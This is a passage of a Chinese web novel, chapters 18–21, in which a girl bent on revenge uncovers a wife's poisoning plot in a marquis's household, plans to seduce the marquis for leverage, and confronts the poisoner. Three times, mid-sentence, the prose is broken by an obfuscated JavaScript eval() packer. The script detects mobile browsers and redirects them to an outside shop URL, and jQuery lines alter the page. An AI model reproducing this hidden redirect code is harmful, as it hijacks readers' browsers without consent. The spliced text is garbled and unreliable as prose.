陈妈妈端着汤药，推开房门，浓重的药气扑过来，但她早已习惯，面色不变，轻步走到床边。 “夫人，该喝药了。”陈妈妈把床幔用金钩挂好，将床上枯瘦的女人扶坐起来。 高眉湘端起那碗药，一饮而尽，清口擦拭唇部，看着她轻声道：“香囊……换好了吗？” 陈妈妈手一抖，捏紧托盘：“……换好了。” “那就好。”高眉湘淡淡收回眼，复又躺下。 陈妈妈端着药盘，站在原地，踌躇着，像是紧张极了，终于，低声泣道：“夫人，姑娘！大姑娘！” “停了那药吧！不为着姑爷，全当为了咱们霖哥儿和嫣姐儿的身子前程，若是姑爷没了，日后……” 高眉湘沉默了许久，开了口，幽幽冷冷：“咱们的……哥儿姐儿？” “哪里是我的？分明是他们的……” “既然不是我的，那我又顾念什么呢。” 18. 送汤 西院，善启堂。 陈六守在院门前，远远瞧见几个下人拥着一道素丽的纤弱身影朝这边走来，连忙迎了上去。 “玉姑娘！您怎么又亲自来了，这天冷得很，万一冻着您可不好，让下人们送过来就成了。”陈六小跑到少女面前，接过她手上提着的食盒。 玉怜脂裹得严严实实，笑道：“滨叔这些日子咳症总好不全，我平日左右也闲着，就炖些药膳给他拿过来，不费什么事的，大夫说我也不能老呆在屋子里，要适当走动走动。” “多亏了玉姑娘的药膳，大郎君的咳疾好了不少，先前那些大夫的药，都没姑娘的药膳灵验呢！”陈六引着她往院子里走， “姑娘在厅里等一等，大郎君今日和几位大人在书房议事，还要耗费些时辰。” 玉怜脂朝他点点头，陈六拿着食盒退下，送到小厨房灶上温着。 少女端起桌上的茶，但并不喝，只是垂眸看着，时不时拿盏盖刮着漂浮的茶叶。 府里请来为谢滨诊治的大夫一拨又一拨，可他们开出来的药方绝没有她的药膳有效。 下药不对症，当然不会灵验了。 距离那日段素灵发现谢文嫣香囊中带有身屠油已经过去了小半月，这段日子她一直风雨无阻地给谢滨送解毒的药膳，但毒根拔不掉，于表面上再如何施为也是杯水车薪。 谢滨吸入毒香太久，现在这些药膳也只能缓解他体内的毒，无法彻底解开，谢文嫣谢文霖那边她也送了些有解毒之用的汤水过去，至于方氏…… 她力微言轻，可管不了这么多人。 而下毒的主谋，已经可以确定，就是高大夫人。 此事太大，玉怜脂左思右想，还是没有拿定主意，要不要直接告诉谢滨？ 但要是她自己去找谢滨一五一十地说出来，她原本柔善可欺的形象可就保不住了，而且如何解释发现毒香的来龙去脉？ 妻杀夫，母毒子，重罪，高大夫人恐怕活不成了。 更何况，谢文嫣和谢文霖平日也不止在西院活动，偶尔也要去润安堂和主院，向王老太君、谢砚深请安，而老太君和镇北侯也喝茶、喝补肺的汤水。 若是牵扯到这两位，那可就彻彻底底成了另一码事了。 王老太君，当朝太皇太后同族族人，受封诰命。谢砚深，朝中重臣，北境统帅，深受圣上倚重。 事情真的发作起来，高大夫人的娘家、王老太君的娘家、甚至宫里，难道不闻不问？届时又是一番动荡。 她这个告发者，到时候也难免引火烧身。 形势骤变，绝对会影响到她来京中最重要的事情。 真是难办。 玉怜脂将茶盏放到一旁，右手撑在侧额上，目光沉下。 不过眼下更让她头疼的一件事是，段素灵先前放出去打探消息的那两个游侠儿，失踪了。 思及此处，玉怜脂的手不自觉握紧。 探子毫无征兆地失去踪迹，这可是极大的凶兆。 两个人，一起不见了，要么是真的出了什么意外，天灾使然。 要么……就是他们被发现了，这一次是人祸。 而且捉住他们的人，肯定会想方设法顺藤摸瓜，找到段素灵身上，继而把剑对准她。 她在京城中活动，唯一的优势是敌明己暗，一旦暴露，死期就不远了，难不成她还能一辈子被牢牢保护在镇北侯府之中吗。 如今最危险的是京城中的玉氏从属之人，她已经和段素灵商议过，能离开的就先暂时离开，出不了京的，停止一切在外活动，隐匿低调，以免一时不察遭遇毒手。 复仇还没真正开始，在这京中行走已是四面泥沼，每一步都要无比小心，否则轻易便是万劫不复。 玉怜脂轻轻呼出胸中闷气，闭了闭眼，随后坐直身子。 等看着谢滨服下药膳后，她再回翡韵阁处理其他的事。 对谢滨这样中毒深的人来说，解毒的药膳一旦开始食用，断一天效果都大打折扣，她总是不大放心。 论情论理，她都不能看着谢滨就这么去死。 玉怜脂又坐了一会儿，陈六还没回来，今日谢滨和同僚谈事比往常久了很多。 她有些疲累了，转头向门口那边看去。 一道高大的身影猝不及防映入她眼中。 男人披着雪光而来，面容冷峻，利眸一扫看见她，脸上毫无意外之色。 玉怜脂愣了一下，而后立刻站起身向他行礼：“深叔。” “嗯，坐。”谢砚深大步走入厅中，在她对面的红木椅坐下。 善启堂的侍女立刻端着茶进来，经过玉怜脂身边，茶香飘入她鼻中。 出去久没回来的陈六又现身了，急匆匆地跑进来。 “奴才给侯爷请安！”陈六忙不迭行礼，“方才明立院的下人来说侯爷去看嫣姑娘和霖少爷了，没成想您现在过来，也没去院门口迎您，是奴才失职。” 谢砚深对谢滨这个兄长一向公事公办，两人之间就是世族中最常见的异母兄弟关系，大事上一致对外，平日交往不咸不淡。 但谢砚深对谢文嫣谢文霖这两个小辈倒是挺上心，时不时就要去查验他们的功课，大约一月一次。 他冷情冷性、不苟言笑，龙凤胎怕他远胜过怕自己的亲爹。 因为这位叔父软硬不吃，收拾人的法子简直多如牛毛，被他罚一次就像脱了一层皮。 而且谢滨罚他们，方氏和高大夫人求求情都有用，但是放到谢砚深身上—— 王老太君来了都不好使，更何况其他人了，敢求情，翻倍罚，而且是精神和肉-体的双重折磨。 他光是站在那，谢文霖谢文嫣就怕得直抖腿。 不过谢滨对谢砚深的严厉作派是很支持的，镇北侯府人丁稀少，自然对下一代的教导重视万分，严师出高徒，护短莫从师。 谢砚深：“已经看过他们了。兄长呢？” 陈六：“大郎君还在书房里和刑部的几位大人谈事，不知道侯爷过来，奴才这就去书房禀报大郎君。” 谢砚深却一点都不急，冷睨他一眼：“不必，兄长事毕后再来报我。” 陈六自然无有不应：“是，是。那侯爷先用茶。” 说罢退了出去。 如此，厅中就只剩下谢砚深、玉怜脂，还有跟着他们的亲随，福明和关嬷嬷。 玉怜脂看着对面端起茶盏欲饮的男人，倏地出声：“深叔！” 谢砚深顿了手，抬眼看她。 “深叔喝的是浓茶吗？”她好奇道。 谢砚深垂眸看了一眼茶盏，又望着她：“怎么？” 玉怜脂今天穿得厚实，捧着小手炉，发髻簪着的串串红玉缀在额边，伶俐漂亮，笑起来乖巧又讨喜。 “浓茶伤身子，深叔还是少喝些才好。”她小声说道。 谢砚深眼中闪动，直直望过去，少女的眼神没有丝毫不对，看起来真的只是关心长辈身体。 玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991709|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜脂被他看得有些毛毛的，低头打量自己的衣着，不明所以看向他：“深叔，怎么了？” “我，我有哪里失仪吗？” 谢砚深默了一瞬，随后放下茶盏。 “没有。”他答道，而后又问，“你来送药膳？” 玉怜脂不着痕迹地微挑眉，面上笑意盈盈：“深叔怎么知道的？” “文嫣说，这些时日你经常给他们做药膳、汤水。”谢砚深淡淡说道，“能下厨，你的手大好了？” 少女的手还缠着白布，已经过去了小半月，但看起来还没好全。 玉怜脂低头看了看自己的手，轻笑说：“瓷片划得太深了，大夫说，还要过些日子才能好。” 其实，是因为她的牙印还没能消掉，不能露出来。 谢砚深盯着她，看她乖顺答话的模样，忽地轻勾唇角：“是么？” 玉怜脂顿时有些惊住了。 入府这么久了，她还是第一次看见谢砚深笑。 他的长相是很俊美的，剑眉星目，虽然不爱笑，但反而显得气质清肃，按理来说，这样的男人笑起来，应当也是正气朗然的样子。 但真正见到了，才发现不是。 他笑起来，很冰冷，竟然隐约有些戾气。 像是审讯时，明明已经掌握足够的证据，偏偏不说出来，就是要看被审的人拼尽一切为自己脱罪的样子。 上位者识破下位者谎言，不戳破但又让你感受到危险，进而患得患失。 谢砚深给她的感觉，就是这样。 玉怜脂只觉得心头压抑不住地有些慌张。 她暗暗捏紧衣角，下一刻笑容灿漫，脸颊隐有薄红，眼睛水润润的，看向对面的人： “深叔还是第一次对我笑。” 这回轮到谢砚深怔住了。 “深叔笑起来好看，以后也应当多笑笑才是。”她年纪小，胆子也大些。 或许是因为从前梅林相遇，她对他竟然没有太多惧意，似乎觉得他脾气不坏。 谢砚深没有说话，玉怜脂却接着说道：“我素日里事少，也就能做这些汤水了，深叔在外辛苦，我多做一些，也给您送去。” 她言语轻快，声音柔和，无端让人想起拂面的温温春风。 谢砚深沉默片刻，说：“……不必了。” “没事的，顺手的事情而已，一点都不麻烦的。”她说道。 “说了不必，你养好手就是。” “深叔……” 玉怜脂似乎还想再努力一把，此时陈六从外头进来。 “侯爷，玉姑娘，大郎君有请。” 送药膳的事顺理成章被打断了，少女的眼中似乎还有些可惜，小心翼翼地望着对面的男人。 谢砚深先一步站起身，向厅外走去。 路过她的时候淡淡投去一眼。 口是心非的小骗子。 她分明不想给他送什么汤水。 —— 待谢砚深出去，厅中无人后，玉怜脂才扶着关嬷嬷的手不紧不慢站起身。 “嬷嬷，今日不宜出行啊。”她声音极轻，不站的近一些，压根听不到。 关嬷嬷最知道她脾性，低声答：“姑娘说的是，今个儿是不太吉利。” “算啦，”她慢悠悠地拍拍有些皱起的裙摆，“反正竹扇不用再多煮一份药膳了。” 竹扇，苏州跟来的玉氏旧人，做膳食一绝。 玉氏少东家的首席厨替。 19. 惊憾 谢滨端起托盘上的金碗，三两下喝完里面的药膳，放下碗勺，婢女端上水清口。 “这下放心了吧?”谢滨放下擦拭的帕子，笑着看向桌对面的少女， “你这孩子，日日来盯着，难道我还能跑了不成?” 玉怜脂低着头，羞赧道：“我是怕滨叔太忙忘了用膳，才过来看看您，滨叔怎么还取笑我。” “亏我还亲手给您做药膳。”她小声嘟囔。 谢滨挥手让下人们收拾桌面，大笑两声，随后向她赔礼： “是滨叔说错话了，怜脂大人不记小人过，这些天喝了你的药膳，我的咳疾竟好多了，就是劳你辛苦，让下人们做也行的。” 玉怜脂当然也没有真的生气，认真道：“我不辛苦，旁人来我不放心，还是亲手给您做，我明日还来，滨叔可要都吃完。” “好，一定都吃完。”谢滨应道。 谢砚深坐在一旁，看着眼前叔侄同乐的场面，默然不语。 玉怜脂朝右边方向快速瞥了一眼，随后站起身，朝房中两人行礼： “滨叔和深叔想来还有公事要谈，我就先回去了。” 谢滨点点头：“雪天冷，回去记得喝些姜汤驱寒，晚上过来一块用饭。” 玉怜脂：“好。” 她退出门去，书房门轻轻阖上，她站在门外，从关嬷嬷手里接过手炉，施施然往翡韵阁走。 刚走到院门口，和匆匆赶回来的段素灵撞了个正着。 “……阿姊?”玉怜脂看着眼前神色凝重的段素灵，心头咯噔一下。 段素灵面沉如水，没有说话。 气氛静默数秒，玉怜脂先一步踏入院门，沉声：“嬷嬷。” 关嬷嬷心领神会，重重院门锁起，玉怜脂和段素灵一路快步入了内室。 进了房内，连坐下都来不及，玉怜脂回身急道：“阿姊，出了什么事?” 段素灵的个性她很了解，泰山崩于前而色不改，现在这副神情，一定是出了大事。 段素灵站在原地，沉默了片刻，终于开口，短短一句： “姑娘，我们的人被发现了。” 玉怜脂顿了一下，缓缓闭上眼。 尽管她早有猜测，但事情真正确认下来，还是如同晴天霹雳一般，仿佛周遭都昏暗了下来。 “……那两个派出去的探子怎么样了?死了吗？”她轻声道。 段素灵：“万幸没有。都回来了，但是一个重伤，一个断了一条胳膊。” 玉怜脂：“发生了什么，怎么回来的?” 段素灵：“说是被发现后，叫人抓住，关在了京郊某处庄子里，上了刑，后来拼死逃出来，回到了玉氏的联络铺子里。” “他们供出来什么了吗？”玉怜脂又问。 段素灵沉声道：“姑娘放心，他们不敢乱说话，但是……余大余二在京中熟识的人颇多，他们的来历，还有和玉氏之间的微许关联，只怕是已经暴露了。” 段素灵对这两个放出去打探消息的游侠儿较为看重，对于他们说的话也有五分信任。 这两个游侠儿是双生兄弟，一个称作余大，一个称余二，两人面上有丑陋胎记，是从小就在乞丐堆里摸爬滚打的孤儿。 数年前，段素灵将他们收为己用，余大余二也不负所望，为玉氏收集了不少有用的消息，从无失手，且做事隐秘。 没成想，这一次竟然栽了。 “这两人倒是颇有情义，他们为我做事，我便提供钱财住宅，照料他们乞丐堆里收来的一群小孤儿，也算是有人质在手上，他们就算受了刑，为了他们的弟妹，也不会多吐半个字。”段素灵说道。 “那……他们查到了什么？”玉怜脂问。 段素灵走近她，低声说：“护国公府刘三夫人，和柳启彦之母兰氏，是同族的远房表姊妹，而前任两江总督吴令峰未发迹之前，曾经在老护国公任威的手下当过属官。” 玉怜脂瞳中一紧，垂在身侧的手不自觉颤抖起来。 亲缘关系、投名状，都有了。 她往后慢慢退了几步，而后扶着案桌坐下，沉吟片刻，说道：“……那两个人受了这场罪，也是为了玉氏。后头的事情都安排好了吧？” 段素灵垂首答道：“姑娘放心，银两、宅院、田地、铺子，一切都是早早备下的，离京城很远，后半生只要他们不奢靡放纵，肯定能衣食无忧。” “等到确认他们没问题之后，就把他们连同他们的弟妹都送走吧，再也别回来了。”玉怜脂轻轻说。 段素灵：“是。” 玉怜脂扶着额头，只觉得脑中晕眩，隐隐作痛，她抬起手挥了挥：“阿姊，你先出去吧，容我好好静一静。” 段素灵有些犹疑，但见她确实像是不舒服，便也不好说什么，转身出了房门。 玉怜脂在房中枯坐许久，而后去善启堂用过膳，回来洗漱后躺上床，又是一夜未眠。 眼下有了淡淡的青黑，整个人苍白了许多。 关嬷嬷看在眼里，却也劝不住。 余大余二被发现了，玉怜脂和整个玉氏的处境已经开始危险。 如今尚且风平浪静，可谁知道什么时候，那把悬在头顶上的刀会砍下来？ 护国公府现在知道了多少？他们会做出什么事？此事真的是承王指使，她可能与皇子抗衡吗？…… 清晨时分，玉怜脂倚在小榻上闭上双眼，只觉得血液流动都慢了下来。 日光慢慢移转，到了午时，正是下朝的时辰。 宫门大开，今日出来的大臣们竟然都是静默无言，上马车的上马车，骑马的骑马，一言不发，仿佛一个个游魂从宫门里飘出来。 前来接人的各府邸下人，乃至宫门外路过的百姓都察觉到了不对，但也不敢多说多问，只是好奇地投过去眼神。 而到了傍晚时分，一个堪称惊撼的消息飞速传遍了整座京城—— 御史台联本上奏弹劾睿王及其家臣，于别庄兴建斗场，囚拐京畿各地孤儿幼童，与野兽同困于笼中虐杀相斗为乐，草菅人命，残暴不仁。 此等大事一出，自然有无数只手推着向外扩散，顷刻间民怨沸腾，坊间皆言皇长子睿王不堪匹配亲王尊位，更不堪登大宝，唯有皇后嫡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991710|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子承王殿下可继大统。 消息传到镇北侯府中时，玉怜脂正在服药。 手中玉勺倏地坠入碗中，溅起乌黑的药汁。 睿王不堪，犯下滔天之祸，于是应当由承王继位。 可承王，就有仁君之相吗？ 论草菅人命，残酷无情，承王、睿王，是实实在在的亲兄弟。 等到承王入主东宫、登基为帝，那么，她的血海深仇，就会彻底掩埋在三年前的黑夜之中。 玉怜脂颤动着喘息了两下，眼前的光开始忽明忽暗，最后尽数熄灭。 “碰！！”她的身体坠倒下去。 “姑娘！” “来人！快来人！” “快请大夫！” “……” * 护国公府，主院。 任智妤款步走入院中，直向书房而去。 此处是禁地，不经国公爷允许，任何人不得擅入，哪怕是府中两位小郎君也是一样。 但府中大小姐却可以自由行走，因着万千宠爱集于一身。 守在书房门外的侍卫打开书房的大门，任智妤抬步入内，几步转过，书案后身着紫袍的悍瘦中年男人映入眼帘。 护国公任保手中墨笔不停，眼也未抬：“来了。” 任智妤解开披风，顺手丢在小叶紫檀罗汉榻上，而后坐下：“我来为了是恭喜父亲，恭喜姑母，隐忍多年，终于到了卧龙得雨之时。” 任保抬起眼，没有笑意，说话的语气也很平淡：“为时尚早。” “以圣上对贵妃的情谊，又有太后的求情，此事多半还是像从前那样，不会真罚到睿王身上，但，这储君之位是实打实地离睿王更远了。”任智妤道。 任保淡道：“陛下幼时，先帝专宠妖妃，后宫凶险，太后与陛下相依为命多年，母子之情深厚，难以动摇。” 任智妤：“这天下，终究不是太后自己的天下，帝位若交到一个视生民如猪狗草芥的皇子手中，朝野乃至民间，何人会服？储君人选，一望而知。” 任保翻阅手中书件，沉声道：“行百里者半九十，小狐汔济濡其尾。可知其所谓？” 任智妤朝他瞥去一眼，漠然转回眼，冷道：“父亲是在教导女儿，戒骄戒躁，以免在最后一步败下阵来。” 任保看着那张肖似发妻的脸，不由得语气柔和下来：“妤儿，你是未来的承王妃，将来还有更大的前程，父亲总不能护持你一辈子，宫里是这天底下最险恶的地方，我是怕你身处其中，又在高位，难免有疏忽懈怠之时，不慎被小人所害。” 任智妤的神色也好了许多：“……父亲爱护女儿，女儿都明白。” “对了，”她抬起头，“前些日我同父亲说抓到的小贼，现下跑了。” 任保脸色不变：“知道是谁派来的了？” 任智妤：“已经查出来了。” “接下来如何做，就由你来做主吧。”任保随口说道，并不把这件事放在心上。 “好啊。”任智妤唇角勾起，轻叹，“……蝼蚁何足惧也。” 杀光了就是。 20. 艳谋 玉怜脂醒来的时候，四周一片寂静，房中鎏金铸铜落地大炉里烧着香炭，不时传来噼啪的轻响。 透过床帐的缝隙，能看见屋里晃闪的昏黄灯火。 “……嬷嬷……”她开口唤人，声音细而哑。 靠在桌上小睡的关嬷嬷猛地一个激灵，站起身来，奔向床榻边。 “姑娘！”掀开帐幔，少女躺在床榻上，半睁着眼，静静地望着她。 “……嬷嬷，我想喝水。”玉怜脂说道。 关嬷嬷连忙点头，端了温水来，喂她服下，屋外的婢女们也鱼贯而入，服侍她用膳服药，再小心伺候她梳洗。 一番折腾后已是深夜，挥退所有下人，房中只剩下玉怜脂和给她把脉的段素灵。 “姑娘是气急攻心，这几天不宜再出去了，必须静养，我会为您扎针施药，谢滨大人那边就让关嬷嬷送解毒食膳过去吧。”段素灵两指压在对面少女的腕上，沉声说道。 玉怜脂膝上摊着一本书，空闲的右手翻动着书页，垂首不语。 段素灵看着她这副模样，忍不住继续说：“姑娘，您多思多虑，于您的心疾绝无益处，反而大有损害，您……” “阿姊，”玉怜脂淡淡打断她，眼睛看着书，轻声道，“我如何能不思虑呢？” 段素灵不说话了，收回手，担忧地看向她。 玉怜脂不紧不慢地翻着书，片刻后，问道：“阿姊觉得，接下来我们该怎么做？” “……一切自然都由姑娘做主。”段素灵沉默几秒，说道。 玉怜脂抬起眼与她对视，面色苍白，唇角却是微浅的笑：“阿姊和嬷嬷、吕叔的意思都一样吧？” “都想让我就此罢手，远遁关外，从此远离风波，安稳度日。” 段素灵倏地一提气，终于说了真心话：“姑娘！您不能再这样下去了，若是此时离开，修身养气，我一定拼尽全力，保您寿数与常人无二，您知道，这绝对也是老爷和夫人的意思。” 玉怜脂听了她的话，低下头轻笑出声。 她当然知道，若是父母还在，必定不允她以身犯险，宁愿含冤九泉，也不想唯一的孩子为复仇断送一生。 可是，她做不到。 玉怜脂眼中放空，慢慢道：“阿姊，若我就此罢手，后半生只余悔恨，便是死，也不能瞑目。” “此仇不报，誓不为人。”一字一句砸下来。 段素灵深深叹出一口气，罕见地露出急切的神情，疾言遽色：“姑娘！您已经知道，此案与护国公府、与承王、乃至与当朝皇后都脱不了干系，这些都是什么样的人物，您难道不明白？就算拼上整个玉氏，拼上我们所有人的命，那也是无用的！” “世族，皇子，皇后！他们只需要动用手中微末的一点力量，就能让我们这样的人承受灭顶之灾！人为刀俎我为鱼肉，强欲与争，正如以卵击石，安得不败乎？！” 玉怜脂依旧微笑着，毫不急躁，等身旁的人稍冷静下来之后，开口轻声：“凭玉氏、凭我之力，想要达成此事无异于缘木求鱼，煎水作冰，这些我都明白的。” 段素灵：“那……” “所以，我需要另外的力量，”灯火映入她眼中，仿佛正在燃烧，“敌已明，友未定，引友杀敌，不自出力——” 玉怜脂歪过头，神色天真如求学稚子，却又让人莫名想起无智鬼魅。 声轻却有力：“借刀杀人，阿姊可知？” 段素灵心脏猛地跳动起来，一股极度不安的感觉涌上她的心头：“……借刀，杀人？姑娘，要借谁的刀？” 玉怜脂幽幽收回眼，不紧不慢地站起身来：“睿王已经失势，可这京中成年健在的皇子却也不只有睿王一个，能与承王相争的大有人在，只要最后登上帝位的人不是承王，那承王这个争夺储位最有力的亲王必死无疑，护国公府也会成为未来新帝的眼中钉、肉中刺，安有不拔除的道理。” 段素灵却只觉得荒谬：“京中除了承王睿王，的确还有几位皇子，可无一不是平庸闲散之辈，母族势弱，背后毫无助力，又不得帝心，这些众所皆知，他们如何能与承王相抗？” “既然手中无刀，那便将一把最强有力的刀送到他们手上。”玉怜脂说。 “要多锋利的刀，才足以和护国公府相抗衡？”段素灵摇头，几乎要气笑，“真要细数起来，这天下也不过寥寥几人，已故的钟老太师、左相秦恪、镇北侯……” 倏地，她顿住，猛地抬起头，对上少女冷寒的眼。 “姑娘，你……！”段素灵不敢置信，甚至好半晌说不出话。 玉怜脂笑着走到她面前，直勾勾盯着她:“对，就是镇北侯。” “不，这不可能……”段素灵喃喃道，“镇北侯府世代不涉党争，镇北侯绝不会趟这趟浑水，我们也没有筹码去与他交换。” “谁要与他交换了？”玉怜脂勾唇笑道，“威迫利诱，镇北侯府权势滔天， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991711|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利诱自然是行不通了，只有逼迫，逼迫他不得不与承王作对。” “至于筹码么……兵强者，攻其将；将智者，伐其情。只有先接近他，才能有走下一步棋的机会。” 段素灵听见“伐其情”三个字的时候，愣了好一会儿，而后激动地站起身来：“姑娘！！” 将智者伐其情，美人计也。 “不可，这绝计不可……您不能这么做！要是老爷夫人知道……”她颤抖着声音。 玉怜脂却淡然自若，连声线都不曾变化：“阿姊，凭我自己，是绝无可能雪此恨的，所以，我要把一个有这样力量的人彻彻底底推到承王一党的对立面去，无论付出什么样的代价，我都在所不惜。” 段素灵深呼吸好几下，还要再劝：“姑娘，镇北侯非寻常男子，此计若是有用，何至于到现在他也尚未婚娶？掌兵之人最善兵法，且镇北侯阅尽天下红颜不为所动，姑娘怎能确定会得手？” 玉怜脂看着她，笑容中有浅浅苦意：“我知道很难得手。” “可我已经没有更好的选择了。” 谋事在人，成事在天，若苍天真的不佑，她便也认了。 谢砚深此人，虽心冷如铁，但却不失为君子，即是君子，便不会轻易始乱终弃，且薄情之人一旦动情，便如烈火焚身。 那一枝梅，不知是否足够让她在他心中有些许不同？ 有，也好，没有，也罢，横竖她是要对他再下一剂猛药，以身作引。 段素灵看着她苍白欲坠的模样，竟也不自觉落下泪来：“姑娘，你这是何苦啊？” 玉怜脂走上前，缓缓抬起手，轻抱住她，靠近她耳边：“阿姊，此事成或不成，我应当都活不了了，给我备一颗药吧，到时候，我或许还能得个痛快。” 段素灵眼中红欲滴血，想要拉起她：“不，姑娘……” 玉怜脂却更紧地抱住她，放低的声音中也带上了颤抖的泣意： “到了合适的时候，你们就全都离开，不要回江南，不许来京城，走的越远越好！阿姊，旁人我都不放心，只有你，只有你……！吕叔和嬷嬷他们、还有阿爹阿娘的棺冢，我就全都托付给你了……” 段素灵回抱住面前的少女，眼泪无声的流满面庞。 房中寂静，窗外呼啸的风声却不断。 不知道过了多久，少女柔软轻细的声音再度响起。 “冬祭，是最好的时机，我们要开始准备了。” 21. 威胁 距冬祭还有大半个月的时候，一应准备事宜正紧锣密鼓地进行着，已经定下谢砚深、谢滨、谢文嫣和谢文霖前往真皇山，王老太君祭拜过谢氏祖祠就回来，不入山中，而高大夫人、方氏、玉怜脂留在府里。 然而某日清晨，西院之中忽而生变。 谢滨和方氏双双病倒了。 连同伺候他们的贴身仆人，全部都出现了头晕发热的情况，身上还有点点红斑。 一批批大夫蒙上面，小心进入西院之中，最后全部摇着头走出院门。 说出来的话也是一模一样——“在下医术不精，大郎君的病是疑难之症，短时间内难以确认是哪一种，但观府中之象，应当是疫症。” 也就是说，谢滨和方氏的病，是会传染的。 谢砚深站在西院正门外，听完医官的话，眉宇间尽是阴沉，身后是乌压压一片人。 西院里没有出现疫病症状的人都被隔于房中观察了两日，确认无虞后要全部移出西院。 院门大开着，穿着厚衣、蒙着面巾的下人们在其中来回穿梭，泼洒黄酒，一堆又一堆衣物被放入笼中蒸煮，艾叶焚烧的白气升上天际，味道熏人，朝院外扑涌而来。 玉怜脂站在人群中，捻着帕子遮住口鼻，微抬眼瞥向侧前方冷立的男人。 “……侯爷，疫病非同小可，不宜拖下去了，必须即刻封住大郎君和方姨娘的住所，以免疫病扩散出去，之后再请其他医科圣手来看诊，也幸好西院离得远……” 谢砚深亲随的言语在风中隐约传过来。 玉怜脂的脸被披风帽子的绒边裹着，天气寒冷，空中飘着雪花，关嬷嬷在一旁为她撑伞。 没有等多久，谢砚深回步走来。 “深叔……”她仰首望着他，泫然欲泣，“滨叔他怎么样了？我，我能不能留下来？翡韵阁离善启堂有些距离的……” 谢砚深看着她落泪，最后轻摇头，沉声道：“你们全都要搬走。” 玉怜脂轻抿着唇，转头看向旁边的三顶轿子，高大夫人、谢文嫣、谢文霖已经在上面了。 “那我还能回来看滨叔吗？”她的眼泪倏倏落下来，忍不住哭泣。 谢砚深定神看她泪流，随后移开眼，没有答她这句问，只说： “另外的两个院子已经收拾出来了，在东边，靠近主院，若有什么事，只管去主院找管事的忠伯。” 谢文嫣谢文霖和高大夫人住在一处大院子，玉怜脂则自己住一个小院，小院收拾出来之后还临时为她改了名字，叫珠玉院。 或许是也明白疫症险恶，吉凶难料不能强求，少女轻轻抽泣着，垂下眼：“我知道了，谢谢深叔。” 谢砚深“嗯”了一声，算是应答，然后吩咐四周仆婢，将他们送去新院子。 玉怜脂上小轿前，回首再望了一眼西院，泪水已经干涸了，只眼眶还是红的，神色像是悲伤，又有些说不清道不明的情绪。 片刻后，转身入了暖轿。 * 搬入珠玉院的第一天，晚膳用过后，天色已经彻底暗下来了，北地冬季的黑夜总是来得特别早。 玉怜脂在新院子里转了几圈，算是消食。 珠玉院不大，但是景色却意外的好，雕梁画栋是少不了的，院里有独设的假山、小花园、清池，似乎还特意仿了南边建筑。 只是院落位置偏了些，虽说和主院近，中间却隔了一大片林子，四周堪称僻静。 转悠了小半个时辰，玉怜脂望着天上遮在云后忽明忽暗的星子，许久，调了个方向，朝院门处走去。 这次跟在她身侧的不是关嬷嬷，而是段素灵。 * 流芳庭。 陈妈妈推开房门，快步走入屋中。 高大夫人看她进来，先声道：“嫣儿和霖儿都回房了？” 陈妈妈点头：“是。” 高大夫人：“怎么这样匆忙？” “夫人，玉姑娘来了，”陈妈妈说道，“已经在院门外了，说是搬出西院，不放心您和两位小主子，必要来看看。” 高大夫人倚在贵妃榻上，唇未点绛，枯白无色，轻声道： “那就让她去看看嫣儿他们吧，不必到我这请安了，就说我病着，不好过了病气给她。” “这……”陈妈妈有些犹疑。 高大夫人皱眉：“怎么？” 陈妈妈：“奴婢已经这么答过了，可玉姑娘说，必须亲见到夫人您才放心，还说出来前大郎君派人递了信给她，嘱咐了些事情，要同您说。” 高大夫人扶额片刻，终究还是直起身：“替我穿衣。” “是。” 玉怜脂进来的时候，寝屋里烧了地龙，十分暖和，高大夫人已经沐浴梳洗过了，披着厚衣坐在小榻上。 看见她，微笑起来：“怜脂来了，这天寒地冻的，究竟有什么事啊？” 少女站在原地，抱着小手炉，只看着她，轻笑不语。 高大夫人眼中轻闪，微微眯起：“怜脂……？” 玉怜脂终于动了，缓步朝榻上病瘦的女人走去，等到了近前，才勾唇低声道： “我有要事同婶婶说呢，婶婶得先把屋子守好了，我才好说呀。” 这样的语气，可完全不像是从一个守礼乖巧的晚辈口中出来的。 高眉湘的眼神瞬间沉了些：“你……” 还未等她出声，少女已经弯下腰，俯在她的耳边，吐出话来，轻飘飘的气音： “婶婶好狠心，虎毒尚且不食子，婶婶下手毒杀夫君之时，竟丝毫不顾自己的骨肉么。” 玉怜脂悠悠直起身，垂首挑眉，对上高眉湘布满震悚的眼。 屋门紧紧闭着，暖黄烛光透过窗纸撒在廊下，只有两人守着，身体惊颤的陈妈妈，面无表情的段素灵。 段素灵面上色淡漠，实则耳听八方，一旦房中有任何异常，她会毫不犹豫闯进去。 房内。 高眉湘死死盯着眼前巧笑嫣然的少女，开口时声音嘶哑：“你……你要做什么？” 